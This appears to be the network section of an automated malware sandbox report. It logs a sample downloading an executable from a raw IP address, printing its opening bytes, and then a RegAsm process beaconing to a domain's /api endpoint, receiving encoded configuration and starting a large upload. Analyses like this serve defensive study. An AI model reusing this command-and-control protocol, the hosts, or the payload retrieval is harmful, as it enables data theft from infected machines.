Nov 24, 2024 08:35:37.328691006 CET	1.1.1.1	192.168.2.5	0x9fb4	No error (0)	sector-essay.cyou		104.21.47.136	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:35:37.328691006 CET	1.1.1.1	192.168.2.5	0x9fb4	No error (0)	sector-essay.cyou		172.67.148.12	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sector-essay.cyou

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.44.131	80	5452	C:\Users\user\Desktop\ZjH6H6xqo7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:35:34.052654982 CET	181	OUT	GET /infopage/tvh53.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Nov 24, 2024 08:35:35.318037033 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:35 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 16 Nov 2024 15:59:10 GMT ETag: "4ce00-62709c39a70e3" Accept-Ranges: bytes Content-Length: 314880 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 a2 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 70 8a 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cd 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 05 00 24 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gp@@;`$==.textp `.rdata "@@.datalPX6@.CRTP@@.reloc$=`>@B
Nov 24, 2024 08:35:35.318114042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: D$t(8uxuxuD$D$jP1USWV \|$81t$4.]Sut%E.]SuEu
Nov 24, 2024 08:35:35.318150997 CET	1236	IN	Data Raw: c4 04 85 c0 0f 84 61 02 00 00 b9 01 00 00 00 89 c3 c7 00 00 00 00 00 c7 40 04 06 00 00 00 89 48 08 e9 45 02 00 00 c7 45 08 00 00 00 00 55 e9 01 01 00 00 89 c7 8b 5c 24 14 50 e8 cd 70 00 00 83 c4 04 39 c3 0f 85 6a 02 00 00 8b 1e 0f b6 2b 55 e8 67 Data Ascii: a@HEEU\$Pp9j+UgqtC+UTqCuK<:5Ct$V@PWt$&.]SqtE.]SpEuM,E.]S
Nov 24, 2024 08:35:35.318185091 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc 53 57 56 8b 7c 24 10 31 f6 85 ff 74 29 8b 5c 24 14 85 db 74 21 53 e8 15 6c 00 00 83 c4 04 50 53 57 e8 1a fe ff ff 83 c4 0c 85 c0 74 09 83 78 04 05 75 03 8b 70 08 89 f0 5e 5f 5b c3 cc cc cc cc 8b 4c 24 04 31 c0 85 c9 74 09 Data Ascii: SWV\|$1t)\$t!SlPSWtxup^_[L$1tyuASWV\|$t)\$t!SkPSWtxup^_[SWV\$\|$j.Skt:Cj.Skt )PSW`1tx
Nov 24, 2024 08:35:35.318218946 CET	1236	IN	Data Raw: 24 0c 8b 44 24 08 8b 04 a8 83 f8 ff 0f 84 3b ff ff ff 8b 51 08 39 1c 82 75 da 8b 49 0c 8b 2c 81 55 e8 3e 67 00 00 8b 4c 24 28 83 c4 04 3b 04 24 75 c2 ff 34 24 55 ff 74 24 30 e8 45 67 00 00 8b 4c 24 30 83 c4 0c 85 c0 75 aa b8 ff ff ff ff e9 7a ff Data Ascii: $D$;Q9uI,U>gL$(;$u4$Ut$0EgL$0uzD$QT$<GGN#l$D$Q9uID$PfL$(;$u4$t$t$0fL$0uUSWV0L$(Y
Nov 24, 2024 08:35:35.318252087 CET	1236	IN	Data Raw: 24 0f 0c e0 88 06 89 d1 c1 e9 06 89 c8 f7 d0 83 c8 3f 01 c8 fe c0 0c 80 88 46 01 80 e2 3f 80 ca 80 88 56 02 83 c6 02 b8 01 00 00 00 01 c7 83 c7 03 e9 36 ff ff ff 81 fa ff db 00 00 0f 87 e9 00 00 00 80 7d 06 5c 0f 85 df 00 00 00 80 7d 07 75 0f 85 Data Ascii: $?F?V6}\}uT$D$==)))?N?N$?F}+
Nov 24, 2024 08:35:35.318288088 CET	1236	IN	Data Raw: e8 87 5c 00 00 83 c4 04 c3 cc cc cc 8b 44 24 10 0f af 44 24 0c 50 ff 74 24 0c e8 7d 5c 00 00 83 c4 08 c3 cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 4c 24 24 8b 44 24 1c 8b 74 24 14 85 f6 74 26 8b 5c 24 28 8b 54 24 20 8b 7c 24 18 89 7e 70 89 46 78 Data Ascii: \D$D$Pt$}\USWVL$$D$t$t&\$(T$ \|$~pFxVtN\|t(tte]1>0u~lunh\|$(t)t%ttFl^_[]tu8ut
Nov 24, 2024 08:35:35.318320990 CET	1236	IN	Data Raw: 18 8b 74 24 10 0f 84 ed 00 00 00 39 5c 24 08 0f 84 b3 00 00 00 0f b6 0c 1a 8b 45 1c 01 de 8d 3c 06 81 e7 ff 7f 00 00 88 8c 3d 90 00 00 00 81 ff 00 01 00 00 77 07 88 8c 3d 90 80 00 00 8b 7c 24 10 01 df 47 89 7d 20 8b 7c 24 24 01 df 83 ff 03 72 a6 Data Ascii: t$9\$E<=w=\|$G} \|$$rL$ ,0MT$T*1\|$T1zrfJrT$l$Tf}r<+l$9rD$Th$)\$\$U
Nov 24, 2024 08:35:35.318355083 CET	1236	IN	Data Raw: 4d 92 81 00 00 3d 80 00 00 00 0f 82 3a 01 00 00 8b 4d 28 8b 55 3c 89 d6 21 c6 31 c2 8d 14 72 89 55 3c 89 c2 80 c2 fd 88 11 8b 54 24 08 4a 8b 4d 28 88 51 01 89 d7 89 d1 c1 e9 08 8b 55 28 88 4a 02 83 45 28 03 8b 55 2c 0f b6 1a d0 eb 80 cb 80 88 1a Data Ascii: M=:M(U<!1rU<T$JM(QU(JE(U,M82Ej+DEE8U(ru(U,=%j)DT$L$fE+DfEEPHEP\|$}"M(U<!
Nov 24, 2024 08:35:35.318392038 CET	1236	IN	Data Raw: 7f 7f 66 83 f8 20 0f 87 3d 05 00 00 bb 00 78 00 00 ff 24 85 c4 31 44 00 bb 40 78 00 00 e9 33 05 00 00 85 c0 74 68 c7 46 44 08 00 00 00 b9 08 00 00 00 eb 1d 90 90 90 90 90 90 90 90 90 90 90 90 c1 ea 08 89 56 48 83 c1 f8 89 4e 44 83 f9 07 76 3f 8b Data Ascii: f =x$1D@x3thFDVHNDv?F0;F4sHN0NDVH===x1F<FHND'FH)NDvV0;V4sJN0NDFH3V<V<
Nov 24, 2024 08:35:35.438220024 CET	1236	IN	Data Raw: 46 48 83 c2 f8 89 56 44 83 fa 07 0f 86 da fd ff ff 8b 4e 30 3b 4e 34 73 e3 8d 51 01 89 56 30 88 01 8b 56 44 8b 46 48 eb d3 8b 56 7c 8b 8e 8c 00 00 00 8b 2a 29 cd 89 df 39 eb 72 02 89 ef 03 4e 74 57 50 51 e8 13 49 00 00 83 c4 0c 01 be 8c 00 00 00 Data Ascii: FHVDN0;N4sQV0VDFHV\|*)9rNtWPQI9v)~X^\F\^_[]=t=xxiB)NDx>FHFHNDr`^HND"^HND/F

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:38 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sector-essay.cyou
2024-11-24 07:35:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 07:35:39 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s9883k7topelmfp6eurmt20631; expires=Thu, 20-Mar-2025 01:22:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D7axALczaFQyHOhiVpeop0GII0L%2BPmERo772FuW9iIIl8BWem3bPIW0gXknobtOmAsQC0hXy1rs%2BCeRymbWbnCnoBbVtWcyStMerADoi0cK%2Bcv1oNVkewGK76n5ziNGgZCbWJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b9340ab542c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4228&recv_bytes=908&delivery_rate=291650&cwnd=252&unsent_bytes=0&cid=6f7e642359f1798e&ts=718&x=0"
2024-11-24 07:35:39 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 07:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sector-essay.cyou
2024-11-24 07:35:40 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 32 38 31 35 34 37 31 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6928154717&j=
2024-11-24 07:35:41 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:35:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=130kq5jlpbgsh1b3aag3dq53k6; expires=Thu, 20-Mar-2025 01:22:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V8WTTw%2BLVgTUOH5N5GVFK4vmQusryTI%2FSk%2B0wqr7V55gw7ugNuqS27dYpPMAk4OMpr8aein1ggW2SS%2FqlmdkHjxBeniBAnVBlGoO8F5TEHGGU5lpyurnFeqs%2BU5m99iT7foPYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77b9416f4ac3ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=953&delivery_rate=1923583&cwnd=246&unsent_bytes=0&cid=34c1544a90916fb0&ts=715&x=0"
2024-11-24 07:35:41 UTC	350	IN	Data Raw: 32 35 38 61 0d 0a 47 43 64 2f 78 35 6a 4d 66 43 35 33 57 58 55 5a 58 74 69 75 50 43 63 45 78 7a 48 45 36 4f 7a 6c 70 73 76 63 2b 79 39 35 31 56 52 6a 42 51 6e 6c 6f 76 68 51 44 41 51 38 56 79 4d 71 71 74 74 5a 43 79 61 6d 56 65 62 53 69 6f 54 4b 75 4c 6e 58 44 51 2b 34 64 69 4a 42 48 71 76 72 71 56 41 4d 45 69 46 58 49 77 57 6a 6a 46 6c 4a 4a 76 30 54 6f 59 4b 4f 68 4d 71 70 76 5a 42 41 43 62 6b 33 63 45 73 59 72 2f 32 76 47 45 38 62 4e 42 42 38 4f 37 6e 45 55 6b 35 70 72 31 7a 6d 78 4d 36 41 33 4f 6e 6d 32 57 49 63 6f 54 56 56 52 67 79 73 75 72 46 51 56 56 55 38 47 7a 74 6b 2b 73 39 5a 52 57 69 68 56 61 2b 41 68 49 33 43 71 4c 69 52 58 78 43 7a 50 48 42 46 47 36 37 33 70 67 78 43 45 54 4d 62 65 6a 47 35 6a 42 41 46 59 62 30 54 2f 73 72 64 74 63 65 34 72 Data Ascii: 258aGCd/x5jMfC53WXUZXtiuPCcExzHE6Ozlpsvc+y951VRjBQnlovhQDAQ8VyMqqttZCyamVebSioTKuLnXDQ+4diJBHqvrqVAMEiFXIwWjjFlJJv0ToYKOhMqpvZBACbk3cEsYr/2vGE8bNBB8O7nEUk5pr1zmxM6A3Onm2WIcoTVVRgysurFQVVU8Gztk+s9ZRWihVa+AhI3CqLiRXxCzPHBFG673pgxCETMbejG5jBAFYb0T/srdtce4r
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 47 36 76 37 6f 78 35 65 48 54 41 63 66 69 36 78 78 56 4e 49 5a 71 68 5a 71 59 6d 4f 67 4d 36 6a 73 5a 4e 4a 46 72 6f 77 65 6b 56 64 36 37 71 70 42 67 78 4e 65 7a 52 2b 4c 4c 33 41 53 41 64 63 35 55 7a 6f 6b 38 36 41 79 4f 6e 6d 32 55 55 65 74 44 56 78 53 68 36 74 38 62 77 65 58 68 4d 32 45 6d 6b 36 76 38 4a 55 52 6e 53 76 58 61 43 4a 68 34 7a 4e 72 4c 6d 64 44 56 58 33 4d 57 49 46 52 65 58 62 6f 78 56 41 48 79 77 58 4f 79 50 30 31 52 35 43 61 75 55 4c 35 6f 36 50 67 38 57 74 73 4a 64 4a 46 37 45 34 64 30 6f 62 72 2f 71 70 46 45 51 64 4f 68 70 77 4d 37 72 4a 55 30 46 67 71 56 4b 6a 79 73 44 48 77 37 48 2b 77 51 30 31 73 44 56 6f 42 79 69 6d 39 4b 41 5a 57 6c 55 6b 57 57 4a 38 76 63 41 65 48 53 61 72 56 71 6d 59 6a 35 58 42 70 36 79 56 53 42 32 36 4e 58 52 Data Ascii: G6v7ox5eHTAcfi6xxVNIZqhZqYmOgM6jsZNJFrowekVd67qpBgxNezR+LL3ASAdc5Uzok86AyOnm2UUetDVxSh6t8bweXhM2Emk6v8JURnSvXaCJh4zNrLmdDVX3MWIFReXboxVAHywXOyP01R5CauUL5o6Pg8WtsJdJF7E4d0obr/qpFEQdOhpwM7rJU0FgqVKjysDHw7H+wQ01sDVoByim9KAZWlUkWWJ8vcAeHSarVqmYj5XBp6yVSB26NXR
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 4b 41 5a 57 6c 55 6b 57 57 4a 38 76 63 41 65 48 53 61 70 57 71 61 42 68 49 50 45 72 72 4f 63 54 68 79 30 4f 33 31 50 45 36 4c 2b 6f 68 64 42 45 7a 73 51 66 7a 6d 6f 79 56 64 4a 61 75 55 64 35 6f 32 57 78 35 7a 70 6b 5a 35 62 47 4a 67 31 61 30 78 64 75 72 53 33 58 6b 73 5a 65 30 38 37 4f 37 2f 45 56 55 4e 75 70 55 47 6a 68 49 57 47 7a 71 2b 2f 6c 45 45 64 74 7a 64 36 51 78 47 6c 2f 61 6b 4d 58 68 41 39 42 58 46 38 39 49 78 5a 58 53 62 39 45 35 43 61 6d 5a 62 53 36 34 75 61 51 78 57 77 49 44 70 61 55 37 79 36 71 52 49 4d 54 58 73 63 65 7a 43 39 78 46 68 42 62 71 70 63 72 35 69 50 69 38 71 37 75 5a 6c 45 46 62 67 36 63 30 67 61 71 50 47 6b 45 30 67 53 4f 6c 63 31 66 4c 33 55 48 68 30 6d 6b 30 4f 72 68 71 43 4d 79 4b 44 2b 68 67 4d 43 39 7a 46 32 42 55 58 6c Data Ascii: KAZWlUkWWJ8vcAeHSapWqaBhIPErrOcThy0O31PE6L+ohdBEzsQfzmoyVdJauUd5o2Wx5zpkZ5bGJg1a0xdurS3XksZe087O7/EVUNupUGjhIWGzq+/lEEdtzd6QxGl/akMXhA9BXF89IxZXSb9E5CamZbS64uaQxWwIDpaU7y6qRIMTXscezC9xFhBbqpcr5iPi8q7uZlEFbg6c0gaqPGkE0gSOlc1fL3UHh0mk0OrhqCMyKD+hgMC9zF2BUXl
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 4d 55 50 78 4a 2b 4f 4c 33 49 57 45 6f 6d 36 78 4f 68 6b 73 37 66 68 49 61 5a 72 41 38 36 6a 58 5a 6c 43 77 54 6c 2f 61 4a 65 46 46 55 33 46 48 63 30 74 63 70 58 53 57 79 73 57 4b 71 42 69 6f 76 4e 72 4c 69 59 53 42 36 32 4d 6e 5a 50 47 36 62 35 6f 52 46 44 48 58 74 5a 4f 7a 75 69 6a 41 59 46 51 37 4a 59 71 49 7a 4f 6d 49 71 77 2f 70 35 42 57 2b 39 32 64 6b 77 62 6f 2f 2b 69 48 30 6f 64 50 68 39 2f 50 62 7a 4b 58 55 70 69 6f 46 4b 70 6a 6f 4b 4a 7a 71 69 2f 6c 55 59 55 76 44 4d 36 43 31 32 69 34 75 35 47 44 43 51 34 41 57 77 73 74 6f 78 42 43 33 2f 6c 56 4b 72 4b 31 73 66 46 75 37 53 54 51 78 36 34 4d 33 6c 4b 47 71 6a 38 6f 68 52 46 48 54 30 59 63 69 36 35 77 46 42 43 61 4b 6c 64 71 34 43 4e 69 6f 54 6e 2f 70 35 56 57 2b 39 32 56 6b 49 51 69 2f 47 69 47 Data Ascii: MUPxJ+OL3IWEom6xOhks7fhIaZrA86jXZlCwTl/aJeFFU3FHc0tcpXSWysWKqBiovNrLiYSB62MnZPG6b5oRFDHXtZOzuijAYFQ7JYqIzOmIqw/p5BW+92dkwbo/+iH0odPh9/PbzKXUpioFKpjoKJzqi/lUYUvDM6C12i4u5GDCQ4AWwstoxBC3/lVKrK1sfFu7STQx64M3lKGqj8ohRFHT0Yci65wFBCaKldq4CNioTn/p5VW+92VkIQi/GiG
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 46 4f 33 4c 36 79 30 59 46 50 75 56 6c 6f 5a 71 65 68 49 61 59 71 4a 70 62 45 4c 6f 36 4f 6c 70 54 76 4c 71 70 45 67 78 4e 65 78 46 30 4e 62 6e 44 58 30 78 71 71 46 61 76 6a 34 2b 42 77 4b 4f 30 6d 55 73 64 74 6a 4e 77 52 68 79 76 38 36 6b 57 53 78 59 70 56 7a 56 38 76 64 51 65 48 53 61 4d 56 4c 53 45 6e 73 66 62 35 36 66 5a 53 68 66 33 62 6a 70 42 46 36 72 2b 71 52 4a 4b 45 44 30 61 65 6a 4f 37 7a 46 46 42 62 61 78 56 70 34 65 4c 69 73 43 37 74 4a 4a 43 46 37 34 36 64 77 56 54 35 66 32 32 58 68 52 56 43 68 70 31 4d 72 33 61 48 6c 6f 6f 76 42 4f 68 68 73 37 66 68 4b 69 79 6c 6b 34 55 74 44 56 37 54 77 2b 33 39 71 63 57 53 52 6b 77 47 58 30 75 76 4d 4e 58 52 6d 57 73 56 4b 36 47 68 49 54 44 36 66 44 5a 53 67 50 33 62 6a 70 6d 43 72 58 33 37 67 45 43 44 48 Data Ascii: FO3L6y0YFPuVloZqehIaYqJpbELo6OlpTvLqpEgxNexF0NbnDX0xqqFavj4+BwKO0mUsdtjNwRhyv86kWSxYpVzV8vdQeHSaMVLSEnsfb56fZShf3bjpBF6r+qRJKED0aejO7zFFBbaxVp4eLisC7tJJCF746dwVT5f22XhRVChp1Mr3aHloovBOhhs7fhKiylk4UtDV7Tw+39qcWSRkwGX0uvMNXRmWsVK6GhITD6fDZSgP3bjpmCrX37gECDH
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 76 63 70 51 56 32 4f 6a 58 4b 6d 44 68 34 50 4d 71 72 36 64 53 52 79 79 4e 58 5a 4f 47 71 62 31 71 68 64 43 48 44 52 58 4e 58 79 39 31 42 34 64 4a 6f 52 49 70 59 61 44 78 39 76 6e 70 39 6c 4b 46 2f 64 75 4f 6b 6b 54 6f 50 71 6b 47 45 67 51 50 52 31 2b 50 4c 48 50 55 55 46 67 6f 56 79 6d 67 59 65 47 77 71 79 30 6b 6b 73 57 74 44 42 38 42 56 50 6c 2f 62 5a 65 46 46 55 62 44 48 59 77 76 59 78 42 43 33 2f 6c 56 4b 72 4b 31 73 66 50 70 62 71 65 54 52 61 30 50 6e 39 42 46 36 44 36 70 67 78 45 46 54 77 46 61 54 79 7a 79 56 4a 47 5a 71 46 56 72 34 79 4e 67 34 54 6e 2f 70 35 56 57 2b 39 32 56 30 6b 61 6a 50 32 31 58 6c 4e 62 49 6c 64 38 4d 50 71 55 48 6b 52 74 72 31 79 72 69 59 69 45 7a 36 79 30 6d 45 6f 54 75 69 52 35 53 68 4b 68 2b 71 45 59 53 68 51 30 45 58 77 Data Ascii: vcpQV2OjXKmDh4PMqr6dSRyyNXZOGqb1qhdCHDRXNXy91B4dJoRIpYaDx9vnp9lKF/duOkkToPqkGEgQPR1+PLHPUUFgoVymgYeGwqy0kksWtDB8BVPl/bZeFFUbDHYwvYxBC3/lVKrK1sfPpbqeTRa0Pn9BF6D6pgxEFTwFaTyzyVJGZqFVr4yNg4Tn/p5VW+92V0kajP21XlNbIld8MPqUHkRtr1yriYiEz6y0mEoTuiR5ShKh+qEYShQ0EXw
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 45 59 68 6d 32 32 42 6e 49 53 41 31 4b 36 70 6c 67 31 56 39 7a 6b 36 48 53 54 6c 38 36 6b 46 58 51 4d 32 42 33 78 38 68 59 49 65 58 53 62 39 45 35 4f 4a 67 49 6e 44 76 36 2f 55 61 67 32 39 4d 57 70 43 43 71 71 36 34 46 35 4b 56 57 4e 45 4e 58 79 2b 33 52 34 64 4e 76 63 49 38 39 6e 5a 31 35 61 32 38 49 41 4e 44 66 64 75 4b 41 74 64 74 37 72 32 58 67 73 57 4b 51 56 39 50 36 7a 50 47 58 74 59 67 6b 6d 72 6a 4a 6d 57 2b 70 65 35 67 30 41 64 6f 43 63 32 55 42 36 72 39 4b 6b 49 44 46 74 37 47 44 74 6b 67 34 77 57 42 56 6e 72 45 37 37 4b 31 73 66 78 71 72 43 58 53 67 32 6d 65 31 31 66 45 4b 50 74 76 31 34 43 56 54 31 58 49 32 7a 30 6a 46 70 55 4a 76 30 44 39 4e 48 62 31 4a 50 35 37 49 59 44 41 76 63 67 4f 68 31 50 36 37 71 38 58 68 52 56 66 42 52 70 4c 72 7a 50 Data Ascii: EYhm22BnISA1K6plg1V9zk6HSTl86kFXQM2B3x8hYIeXSb9E5OJgInDv6/Uag29MWpCCqq64F5KVWNENXy+3R4dNvcI89nZ15a28IANDfduKAtdt7r2XgsWKQV9P6zPGXtYgkmrjJmW+pe5g0AdoCc2UB6r9KkIDFt7GDtkg4wWBVnrE77K1sfxqrCXSg2me11fEKPtv14CVT1XI2z0jFpUJv0D9NHb1JP57IYDAvcgOh1P67q8XhRVfBRpLrzP
2024-11-24 07:35:41 UTC	1054	IN	Data Raw: 56 4c 35 74 4c 4f 73 73 65 6e 73 4a 35 62 43 76 6f 52 64 45 49 63 73 2b 71 35 45 51 78 62 65 78 45 37 5a 4f 69 43 48 6b 46 33 35 51 76 32 32 4e 58 53 6c 2f 37 75 79 31 4a 56 72 6e 5a 73 42 55 58 33 74 4f 34 4d 44 45 31 37 55 48 67 75 71 4d 70 64 55 32 58 69 62 5a 69 74 67 49 44 46 76 36 36 4f 51 6c 53 5a 41 46 74 37 49 37 44 35 6f 42 42 4c 41 79 70 58 4e 58 79 31 6a 41 5a 38 4a 75 30 54 6d 63 54 4f 6e 34 54 78 2f 71 78 4f 46 62 6b 78 62 46 52 51 67 76 53 70 48 31 6f 46 4c 42 67 30 45 6f 7a 74 48 67 73 6d 6f 78 50 2b 32 4d 44 48 77 4c 6a 2b 77 52 31 4a 37 47 4d 70 45 6b 33 33 35 65 41 48 44 41 4e 37 54 79 6c 79 2b 74 34 65 48 53 62 69 55 4c 53 59 69 49 54 53 71 76 6d 6e 63 7a 79 35 4d 58 74 54 44 61 6a 32 6a 78 31 64 48 77 55 70 62 6a 2b 30 77 6c 6c 54 64 Data Ascii: VL5tLOssensJ5bCvoRdEIcs+q5EQxbexE7ZOiCHkF35Qv22NXSl/7uy1JVrnZsBUX3tO4MDE17UHguqMpdU2XibZitgIDFv66OQlSZAFt7I7D5oBBLAypXNXy1jAZ8Ju0TmcTOn4Tx/qxOFbkxbFRQgvSpH1oFLBg0EoztHgsmoxP+2MDHwLj+wR1J7GMpEk335eAHDAN7Tyly+t4eHSbiULSYiITSqvmnczy5MXtTDaj2jx1dHwUpbj+0wllTd
2024-11-24 07:35:41 UTC	1369	IN	Data Raw: 31 65 65 32 0d 0a 49 4d 65 77 45 37 5a 4f 6d 43 48 6c 63 6d 2f 52 50 68 68 49 4f 47 78 36 65 39 69 31 38 64 74 43 42 35 41 69 4f 62 33 36 4d 54 53 52 73 38 4b 55 55 64 73 4e 78 54 53 6d 48 6e 63 36 47 63 6a 62 6e 36 6e 71 2b 65 58 56 6d 52 4e 57 78 47 58 65 75 36 74 6c 34 55 56 52 6f 64 61 7a 47 31 79 78 78 6c 59 62 4e 51 35 73 54 4f 67 34 54 78 2f 72 78 41 46 72 49 34 66 51 63 38 72 2b 71 6a 45 55 74 58 47 78 42 74 50 2f 71 43 48 6b 6b 6d 2f 52 4f 6e 67 4a 36 4b 79 36 37 79 6e 6c 63 63 39 33 67 36 53 31 33 39 75 71 38 55 58 42 67 30 45 44 63 36 74 4d 49 65 57 69 69 38 45 37 44 4b 31 74 53 4b 36 61 7a 5a 46 56 76 77 4e 57 68 58 47 36 62 73 72 56 6c 79 4b 78 59 46 66 43 79 35 6a 6d 39 49 59 72 4e 47 70 5a 71 4a 75 66 71 45 72 4a 35 64 47 50 55 48 62 45 59 Data Ascii: 1ee2IMewE7ZOmCHlcm/RPhhIOGx6e9i18dtCB5AiOb36MTSRs8KUUdsNxTSmHnc6Gcjbn6nq+eXVmRNWxGXeu6tl4UVRodazG1yxxlYbNQ5sTOg4Tx/rxAFrI4fQc8r+qjEUtXGxBtP/qCHkkm/ROngJ6Ky67ynlcc93g6S139uq8UXBg0EDc6tMIeWii8E7DK1tSK6azZFVvwNWhXG6bsrVlyKxYFfCy5jm9IYrNGpZqJufqErJ5dGPUHbEY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	104.21.47.136	443	6392	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:35:42 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BF8HSG09 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12780 Host: sector-essay.cyou
